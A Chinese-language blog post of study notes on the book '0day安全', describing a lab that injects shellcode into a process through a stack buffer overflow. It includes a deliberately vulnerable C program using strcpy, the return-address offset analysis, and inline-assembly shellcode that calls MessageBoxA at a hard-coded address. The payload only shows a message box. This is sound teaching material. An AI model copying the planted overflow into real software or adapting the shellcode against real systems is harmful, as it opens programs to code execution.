读书笔记4:0day安全:软件漏洞分析技术

实验内容:向进程中植入代码

这节中,依旧抛出原文:”上节实验中,我们让函数返回main函数的验证通过分支的指令。试想下,如果我们在buffer里面包含我们自己想要执行的代码,然后通过返回地址让程序跳转到系统战力执行,我们岂不是可以让进程取执行本来没有的代码,直接去做其他事情了!“
不得不说,结合书中示意图,真的很简洁易懂…
在这里插入图片描述
本次实验目的,我们准备向password.txt文件址入二进制的机器码,并用这段机器码调用Windows的一个API函数MessageBoxA,最终在桌面上弹出一个消息框并显示一些字符串
源码相较上个实验略作小改:

#include "stdio.h"
#include "string.h"
#include "stdlib.h"
#include "windows.h"   //用于调用LoadLibrary函数装在user32.dll用于植入MessageBosA
#define PASSWORD "1234567"

int verify_password(char *password)
{
    int authenticated;
    char buffer[44];        //机器码空间可能大于8因此方便演示,做了扩充
    authenticated = strcmp(password,PASSWORD);
    strcpy(buffer,password);//over flowed here!!!
    return authenticated;
}
void main()
{
    int valid_flag = 0;
    char password[1024];
    FILE *fp;
    LoadLibrary("user32.dll");  //调用MessageBoxA的需要
    if(!(fp=fopen("password.txt","rw+")))
    {
        exit(0);
    }
    fscanf(fp,"%s",password);
    valid_flag = verify_password(password);
    if(valid_flag)
    {
        printf("incorrect password!\n");
    }
    else
    {
        printf("Congratulation! You have passed the verifycation!\n");

    }
    fclose(fp);
}

为了帮助理清思路,书中也给出了脉络,很值得学习。
*
分析并调试漏洞程序,获得淹没返回地址的偏移
*
获得buffer的其实地址,并计算,然后得出password.txt中将用那几个地方来冲刷返回地址
*
向password.txt中写入可执行的机器代码,用来调用API弹出一个消息框

OD中:(此为verify_password函数中的指令)
在这里插入图片描述
由栈窗口可以看到,buffer的末地址是0x0019FAD8,起始地址,我们跟随下[local.12],可以看到:
在这里插入图片描述
紧接着,看截图注释:
在这里插入图片描述
经过上述的分析,我们知道了读取的1-44内容覆盖了buffer的空间,接着45-48覆盖的将是同为局部变量的authenticated,在往下49-52将覆盖前栈帧EBP的位置,然后紧接着就是我们的返回地址了也就是我们要用password.txt读取到的第53~56字符的位置填充高位置,改变返回地址,取执行我们构造的指令。
既然我们的目的是为了执行MessageBoxA,我们需要一个地址,以及需要的参数进行入栈…
首先我们先看下MessageBoxA函数定义
在这里插入图片描述
参数详情:点我
书中也提到了:
在这里插入图片描述
因此调用MessageboxA前需要将所需参数入栈,接下来我们看下
因为我的Dependency Walker老提示缺东西用不了书中简单的办法,参考了这篇文章手动得出了地址:借鉴学习
此前我们需要准备好即将写入buffer的shellcode(机器码),我使用内联汇编写出来后用od来查看机器码的,源码如下:

#include<stdio.h>
#include<windows.h>
int main()
{
    LoadLibrary("user32.dll");
    _asm
    {
        xor ebx,ebx
        push ebx
        push 0x646c
        push 0x726f576f
        push 0x6c6c6548
        mov eax,esp
        sub esp,44
        push ebx
        push eax
        push eax
        push ebx
        mov edx,0x76E37E60
        call edx
    }
    return 0;
}

OD中的机器码:
在这里插入图片描述
接下来就是构造我们的password.txt了,具体的每个字符位用什么上面已经提到了,不用的字符我们用0x90填充,该指令不执行任何有效操作
在这里插入图片描述
最终情况:
我们覆写了verify_password函数的返回地址,下面是成功控制跳转的截图:
在这里插入图片描述
在这里插入图片描述
在这里的时候,经验不足遇到了一点问题:
原先的内联汇编少了一句sub esp,44的,出现了如下问题:
在这里插入图片描述
我们的指令汇编,经验不足,请教了师兄解决,一针见血…
原来是我们进入verify_password时由于我们防止shellcode的位置时verI_password函数的一个局部变量,当执行到该函数的返回时,会释放申请到的局部变量空间,此后我们的push操作会使用到已经释放了的空间,导致我们的指令被覆盖…因此,这里指令出现了变化
在这里插入图片描述
在这里插入图片描述
解决方法也很简单,抬高栈顶,使得之后的push操作位于我们的shellcode即原buffer的空间上方,不会覆写我们设置的shellcode指令
在这里插入图片描述
执行完MessageBoxA返回会出错,毕竟我们是修改了程序的执行过程,下去程序不知道会跳向哪里,所以可能出错,我们还可以接着操作的,不过那都是后话了

写在最后:指导的前辈说过,程序调试需要较强的逻辑,调试过程遇到非预期效果往往是有缘由的,需要仔细分析,见招拆招。还是多多累积经验,博主是个新手,文章有何不当之处还望大佬们多多指导


补充,重启电脑再次运行程序发现调用不了MessageBoxA函数了,调试发现重启电脑使得原先的MessageBoxA入口地址发生改变…脑阔疼,相信以后的学习能解决的…未完待续…

猜你喜欢

转载自blog.csdn.net/weixin_43084928/article/details/88617241